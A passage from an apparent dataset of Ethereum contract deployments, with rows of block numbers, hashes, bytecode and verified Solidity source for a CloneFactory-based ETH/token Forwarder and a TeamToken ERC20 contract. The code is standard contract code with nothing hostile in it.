0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,461 |
b18f870dedd9feb44803e270bb29199883755e20f99b449840d0b2a9b6659800
|
e50d8fba3afacff4f1f7e2712f2c26f61eef3b51efa9c93e5dad975624818c79
|
e41e59b5ed5e5540014d830969c027115ca8fccb
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
bab8f44bec10f97ae4e5dd5e3321d2f37ebb7f45
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,497,464 |
77bcd9d073999a72690958af844eaa4a8d659c90ddef0c22a2a87c39da3e6683
|
92e1742e556600a1de127d6fa9cf500813bb78bd7ded3ec0250cedafd89980a6
|
dc9a9623dd31ee96e5211d6da33367e8c6c6a265
|
dc9a9623dd31ee96e5211d6da33367e8c6c6a265
|
13f33094cc8b4a4085022cbdd596430208cd3e2c
|
60806040523480156200001157600080fd5b506040516200101c3803806200101c833981810160405260c08110156200003757600080fd5b81019080805160405193929190846401000000008211156200005857600080fd5b9083019060208201858111156200006e57600080fd5b82516401000000008111828201881017156200008957600080fd5b82525081516020918201929091019080838360005b83811015620000b85781810151838201526020016200009e565b50505050905090810190601f168015620000e65780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010a57600080fd5b9083019060208201858111156200012057600080fd5b82516401000000008111828201881017156200013b57600080fd5b82525081516020918201929091019080838360005b838110156200016a57818101518382015260200162000150565b50505050905090810190601f168015620001985780820380516001836020036101000a031916815260200191505b50604090815260208281015191830151606084015160809094015188519396509094509187918791620001d291600391908501906200054b565b508051620001e89060049060208401906200054b565b50506005805460ff1916601217905550816001600160a01b03811662000255576040805162461bcd60e51b815260206004820152601c60248201527f5b56616c69646174696f6e5d20696e76616c6964206164647265737300000000604482015290519081900360640190fd5b816001600160a01b038116620002b2576040805162461bcd60e51b815260206004820152601c60248201527f5b56616c69646174696f6e5d20696e76616c6964206164647265737300000000604482015290519081900360640190fd5b60088660ff1610158015620002cb575060128660ff1611155b6200031d576040805162461bcd60e51b815260206004820152601f60248201527f5b56616c69646174696f6e5d204e6f742076616c696420646563696d616c7300604482015290519081900360640190fd5b600085116200035e5760405162461bcd60e51b815260040180806020018281038252603381526020018062000fe96033913960400191505060405180910390fd5b6200036986620003bf565b620003758486620003d5565b604080516001600160a01b038616815290517fd01999e99b96bd2c90170b31b3348703fcd18b48be663e0fa3190aef80cedeea9181900360200190a15050505050505050620005e7565b6005805460ff191660ff92909216919091179055565b6001600160a01b03821662000431576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6200043f60008383620004e4565b6200045b81600254620004e960201b620005731790919060201c565b6002556001600160a01b038216600090815260208181526040909120546200048e91839062000573620004e9821b17901c565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b505050565b60008282018381101562000544576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200058e57805160ff1916838001178555620005be565b82800160010185558215620005be579182015b82811115620005be578251825591602001919060010190620005a1565b50620005cc929150620005d0565b5090565b5b80821115620005cc5760008155600101620005d1565b6109f280620005f76000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c8063395093511161007157806339509351146101d957806370a082311461020557806395d89b411461022b578063a457c2d714610233578063a9059cbb1461025f578063dd62ed3e1461028b576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b66102b9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b03813516906020013561034f565b604080519115158252519081900360200190f35b61017361036c565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b03813581169160208101359091169060400135610372565b6101c36103f9565b6040805160ff9092168252519081900360200190f35b610157600480360360408110156101ef57600080fd5b506001600160a01b038135169060200135610402565b6101736004803603602081101561021b57600080fd5b50356001600160a01b0316610450565b6100b661046b565b6101576004803603604081101561024957600080fd5b506001600160a01b0381351690602001356104cc565b6101576004803603604081101561027557600080fd5b506001600160a01b038135169060200135610534565b610173600480360360408110156102a157600080fd5b506001600160a01b0381358116916020013516610548565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b820191906000526020600020905b81548152906001019060200180831161032857829003601f168201915b5050505050905090565b600061036361035c6105d4565b84846105d8565b50600192915050565b60025490565b600061037f8484846106c4565b6103ef8461038b6105d4565b6103ea85604051806060016040528060288152602001610927602891396001600160a01b038a166000908152600160205260408120906103c96105d4565b6001600160a01b03168152602081019190915260400160002054919061081f565b6105d8565b5060019392505050565b60055460ff1690565b600061036361040f6105d4565b846103ea85600160006104206105d4565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610573565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b60006103636104d96105d4565b846103ea8560405180606001604052806025815260200161099860259139600160006105036105d4565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061081f565b60006103636105416105d4565b84846106c4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000828201838110156105cd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661061d5760405162461bcd60e51b81526004018080602001828103825260248152602001806109746024913960400191505060405180910390fd5b6001600160a01b0382166106625760405162461bcd60e51b81526004018080602001828103825260228152602001806108df6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107095760405162461bcd60e51b815260040180806020018281038252602581526020018061094f6025913960400191505060405180910390fd5b6001600160a01b03821661074e5760405162461bcd60e51b81526004018080602001828103825260238152602001806108bc6023913960400191505060405180910390fd5b6107598383836108b6565b61079681604051806060016040528060268152602001610901602691396001600160a01b038616600090815260208190526040902054919061081f565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546107c59082610573565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156108ae5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561087357818101518382015260200161085b565b50505050905090810190601f1680156108a05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220665177f353349887ebf9b41e376cc51479b3786096f59de25947ca0ddfcc8f6864736f6c634300060c00335b56616c69646174696f6e5d20696e6974616c20737570706c792073686f756c642062652067726561746572207468616e203000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000023ac12ef364587bf2000000000000000000000000000000dc9a9623dd31ee96e5211d6da33367e8c6c6a265000000000000000000000000b1bc5fac6a082f59c97f2989b3c31b5996d3a483000000000000000000000000000000000000000000000000000000000000001153656c766573746572205374616c6f756e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006526f6b6b79200000000000000000000000000000000000000000000000000000
|
608060405234801561001057600080fd5b50600436106100a95760003560e01c8063395093511161007157806339509351146101d957806370a082311461020557806395d89b411461022b578063a457c2d714610233578063a9059cbb1461025f578063dd62ed3e1461028b576100a9565b806306fdde03146100ae578063095ea7b31461012b57806318160ddd1461016b57806323b872dd14610185578063313ce567146101bb575b600080fd5b6100b66102b9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f05781810151838201526020016100d8565b50505050905090810190601f16801561011d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101576004803603604081101561014157600080fd5b506001600160a01b03813516906020013561034f565b604080519115158252519081900360200190f35b61017361036c565b60408051918252519081900360200190f35b6101576004803603606081101561019b57600080fd5b506001600160a01b03813581169160208101359091169060400135610372565b6101c36103f9565b6040805160ff9092168252519081900360200190f35b610157600480360360408110156101ef57600080fd5b506001600160a01b038135169060200135610402565b6101736004803603602081101561021b57600080fd5b50356001600160a01b0316610450565b6100b661046b565b6101576004803603604081101561024957600080fd5b506001600160a01b0381351690602001356104cc565b6101576004803603604081101561027557600080fd5b506001600160a01b038135169060200135610534565b610173600480360360408110156102a157600080fd5b506001600160a01b0381358116916020013516610548565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b820191906000526020600020905b81548152906001019060200180831161032857829003601f168201915b5050505050905090565b600061036361035c6105d4565b84846105d8565b50600192915050565b60025490565b600061037f8484846106c4565b6103ef8461038b6105d4565b6103ea85604051806060016040528060288152602001610927602891396001600160a01b038a166000908152600160205260408120906103c96105d4565b6001600160a01b03168152602081019190915260400160002054919061081f565b6105d8565b5060019392505050565b60055460ff1690565b600061036361040f6105d4565b846103ea85600160006104206105d4565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610573565b6001600160a01b031660009081526020819052604090205490565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103455780601f1061031a57610100808354040283529160200191610345565b60006103636104d96105d4565b846103ea8560405180606001604052806025815260200161099860259139600160006105036105d4565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061081f565b60006103636105416105d4565b84846106c4565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000828201838110156105cd576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661061d5760405162461bcd60e51b81526004018080602001828103825260248152602001806109746024913960400191505060405180910390fd5b6001600160a01b0382166106625760405162461bcd60e51b81526004018080602001828103825260228152602001806108df6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107095760405162461bcd60e51b815260040180806020018281038252602581526020018061094f6025913960400191505060405180910390fd5b6001600160a01b03821661074e5760405162461bcd60e51b81526004018080602001828103825260238152602001806108bc6023913960400191505060405180910390fd5b6107598383836108b6565b61079681604051806060016040528060268152602001610901602691396001600160a01b038616600090815260208190526040902054919061081f565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546107c59082610573565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156108ae5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561087357818101518382015260200161085b565b50505050905090810190601f1680156108a05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220665177f353349887ebf9b41e376cc51479b3786096f59de25947ca0ddfcc8f6864736f6c634300060c0033
|
{{
"language": "Solidity",
"sources": {
"contracts/TeamToken.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.2 <0.8.0;\n\n\nimport \"./ERC20.sol\";\n\n\ncontract TeamToken is ERC20 {\n event TeamFinanceTokenMint(address owner);\n\n modifier checkIsAddressValid(address ethAddress)\n {\n require(ethAddress != address(0), \"[Validation] invalid address\");\n require(ethAddress == address(ethAddress), \"[Validation] invalid address\");\n _;\n }\n\n constructor(\n string memory name,\n string memory symbol,\n uint8 decimals,\n uint256 supply,\n address owner,\n address feeWallet\n ) public checkIsAddressValid(owner) checkIsAddressValid(feeWallet) ERC20(name, symbol) {\n require(decimals >=8 && decimals <= 18, \"[Validation] Not valid decimals\");\n require(supply > 0, \"[Validation] inital supply should be greater than 0\");\n\n _setupDecimals(decimals);\n _mint(owner, supply);\n\n emit TeamFinanceTokenMint(owner);\n }\n}"
},
"contracts/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n\n\npragma solidity >=0.6.0 <0.8.0;\n\nimport \"./Context.sol\";\nimport \"./IERC20.sol\";\nimport \"./SafeMath.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin guidelines: functions revert instead\n * of returning `false` on failure. This behavior is nonetheless conventional\n * and does not conflict with the expectations of ERC20 applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20 {\n using SafeMath for uint256;\n\n mapping (address => uint256) private _balances;\n\n mapping (address => mapping (address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n /**\n * @dev Sets the values for {name} and {symbol}, initializes {decimals} with\n * a default value of 18.\n *\n * To select a different value for {decimals}, use {_setupDecimals}.\n *\n * All three of these values are immutable: they can only be set once during\n * construction.\n */\n constructor (string memory name_, string memory symbol_) public {\n _name = name_;\n _symbol = symbol_;\n _decimals = 18;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is\n * called.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `recipient` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * Requirements:\n *\n * - `sender` and `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n * - the caller must have allowance for ``sender``'s tokens of at least\n * `amount`.\n */\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n return true;\n }\n\n /**\n * @dev Moves tokens `amount` from `sender` to `recipient`.\n *\n * This is internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `sender` cannot be the zero address.\n * - `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n */\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(amount, 